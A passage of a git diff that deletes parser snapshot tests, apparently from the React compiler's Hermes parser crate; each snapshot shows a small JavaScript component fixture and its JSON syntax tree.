-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-join.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-join.js.snap
deleted file mode 100644
index fca8deda5a4b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-join.js.snap
+++ /dev/null
@@ -1,331 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-join.js
----
-Input:
-function Component(props) {
-  const x = [{}, [], props.value];
-  const y = x.join(() => "this closure gets stringified, not called");
-  foo(y);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        41,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        45,
-                        47
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          49,
-                          54
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "value",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          60
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        49,
-                        60
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        76
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "join",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        81
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      75,
-                      81
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "StringLiteral",
-                        "value": "this closure gets stringified, not called",
-                        "loc": null,
-                        "range": [
-                          88,
-                          131
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        82,
-                        131
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        82,
-                        131
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    75,
-                    132
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  132
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              133
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  136,
-                  139
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    140,
-                    141
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                136,
-                142
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              136,
-              143
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    154,
-                    155
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    157,
-                    158
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                153,
-                159
-              ]
-            },
-            "loc": null,
-            "range": [
-              146,
-              160
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          162
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        162
-      ],
-      "loc": null,
-      "range": [
-        0,
-        162
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    162
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-frozen-array.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-frozen-array.js.snap
deleted file mode 100644
index a6291057339f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-frozen-array.js.snap
+++ /dev/null
@@ -1,329 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-map-frozen-array.js
----
-Input:
-function Component(props) {
-  const x = [];
-  <dif>{x}</dif>;
-  const y = x.map((item) => item);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "dif",
-                  "loc": null,
-                  "range": [
-                    47,
-                    50
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  46,
-                  51
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    51,
-                    54
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "dif",
-                  "loc": null,
-                  "range": [
-                    56,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                46,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    71
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "map",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        79
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      74,
-                      79
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            81,
-                            85
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          90,
-                          94
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        80,
-                        94
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        80,
-                        94
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    74,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              96
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    108
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    110,
-                    111
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                106,
-                112
-              ]
-            },
-            "loc": null,
-            "range": [
-              99,
-              113
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          115
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        115
-      ],
-      "loc": null,
-      "range": [
-        0,
-        115
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    115
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-mutable-array-mutating-lambda.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-mutable-array-mutating-lambda.js.snap
deleted file mode 100644
index 35f0bfd412b5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-map-mutable-array-mutating-lambda.js.snap
+++ /dev/null
@@ -1,332 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-map-mutable-array-mutating-lambda.js
----
-Input:
-function Component(props) {
-  const x = [];
-  const y = x.map((item) => {
-    item.updated = true;
-    return item;
-  });
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "map",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        58,
-                        61
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      56,
-                      61
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            63,
-                            67
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "AssignmentExpression",
-                              "operator": "=",
-                              "left": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "item",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    78,
-                                    82
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "updated",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    83,
-                                    90
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  78,
-                                  90
-                                ]
-                              },
-                              "right": {
-                                "type": "BooleanLiteral",
-                                "value": true,
-                                "loc": null,
-                                "range": [
-                                  93,
-                                  97
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                78,
-                                97
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              78,
-                              98
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "Identifier",
-                              "name": "item",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                110,
-                                114
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              103,
-                              115
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          72,
-                          119
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        119
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        119
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    120
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  120
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              121
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    132,
-                    133
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                131,
-                137
-              ]
-            },
-            "loc": null,
-            "range": [
-              124,
-              138
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          140
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        140
-      ],
-      "loc": null,
-      "range": [
-        0,
-        140
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    140
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-pattern-params.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-pattern-params.js.snap
deleted file mode 100644
index cd2df76c5207..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-pattern-params.js.snap
+++ /dev/null
@@ -1,272 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-pattern-params.js
----
-Input:
-function component([a, b]) {
-  let y = { a };
-  let z = { b };
-  return [y, z];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "ArrayPattern",
-          "elements": [
-            {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                20,
-                21
-              ]
-            },
-            {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                23,
-                24
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            19,
-            25
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    35,
-                    36
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        42
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    39,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  35,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              31,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          58,
-                          59
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          58,
-                          59
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        58,
-                        59
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              48,
-              62
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                78
-              ]
-            },
-            "loc": null,
-            "range": [
-              65,
-              79
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          27,
-          81
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        81
-      ],
-      "loc": null,
-      "range": [
-        0,
-        81
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    81
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-properties.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-properties.js.snap
deleted file mode 100644
index 18f4e0b70455..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-properties.js.snap
+++ /dev/null
@@ -1,460 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-properties.js
----
-Input:
-function Component(props) {
-  const a = [props.a, props.b, "hello"];
-  const x = a.length;
-  const y = a.push;
-  return { a, x, y, z: a.concat };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          55
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        50,
-                        57
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "hello",
-                      "loc": null,
-                      "range": [
-                        59,
-                        66
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      81,
-                      82
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "length",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      83,
-                      89
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    81,
-                    89
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  89
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              90
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    100
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      104
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "push",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      105,
-                      109
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    103,
-                    109
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  99,
-                  109
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              93,
-              110
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      123
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      123
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    122,
-                    123
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      125,
-                      126
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      125,
-                      126
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    125,
-                    126
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      128,
-                      129
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      128,
-                      129
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    128,
-                    129
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      131,
-                      132
-                    ]
-                  },
-                  "value": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        134,
-                        135
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "concat",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        136,
-                        142
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      134,
-                      142
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": false,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    131,
-                    142
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                120,
-                144
-              ]
-            },
-            "loc": null,
-            "range": [
-              113,
-              145
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          147
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        147
-      ],
-      "loc": null,
-      "range": [
-        0,
-        147
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    147
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-property-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-property-call.js.snap
deleted file mode 100644
index 6a1eaa90796b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-property-call.js.snap
+++ /dev/null
@@ -1,468 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
